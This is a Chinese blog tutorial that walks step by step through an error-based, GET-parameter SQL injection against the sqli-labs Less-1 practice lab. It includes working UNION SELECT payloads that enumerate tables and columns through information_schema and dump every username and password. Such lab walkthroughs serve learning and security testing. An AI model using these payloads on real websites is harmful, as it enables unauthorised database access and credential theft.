SQL注入实战——get基于报错的注入

1.用上次搭建的sqli-labs靶场中less-1(基于报错的单引号字符串)进行实操

进入后我们看到这样的回显:请输入ID作为带数值的参数

正常输入?id=1 发现,发现没有问题

加上单引号后有报错

 2.用order by语句

注:order by语句是按照字段排序

这里我们从1开始试,发现3可以,证明数据库是有编号为3的字段

 

当我们把3改成4,会发现报错:Unknown column '4' in 'order clause'

证明当前数据库表只有三个字段

3.利用union的联合查询来实现

ID=0后回显报错,接下来我们用union的联合报错

因为有前面判断出有三个字段,用1,2,3 。后面用--+注释掉

查询结果如上所示

union联合查询能帮助我们找出第几个字段的内容放在login name和password的位置;

因为ID=0,所有真正的用户名和密码无法查询,用union联合查询查到在第2和3字段 

4.利用MySQL函数查询

查询登录名user(),数据库名database()

爆出当前用户为root@localhost,该页面访问的数据库为security

5.获得表名

id=0%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%20--+

group_concat(table_name):占用2的位置爆出所有表名

information_schema.tables:从information_schema库里面的tables表的爆出

where table_schema=database():条件

所有该数据库所有的表名是:emails,referers,uagents,users

分析:users跟用户有关

6.爆出users表里的所有字段

id=0%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+

原数据的column_name字段是从information_schem库中存放的columns表里得到的

此时爆出了表上所有字段包括 id,username,password

7.根据字段名爆出字段具体信息

还是用union联合注入

id=0%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users%20--+

group_concat(username,0x3a,password):获得username和password字段

0x3a:为了区分

获得所有的用户名和密码!

到这里我们就完成了(基于get)利用SQL注入把一个数据库爆掉,获取所有用户名和密码,我们主要用到的是联合注入,同时利用order by 以此爆出数据库名,表名,字段名,找到有用的字段信息。

希望对你有所帮助!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值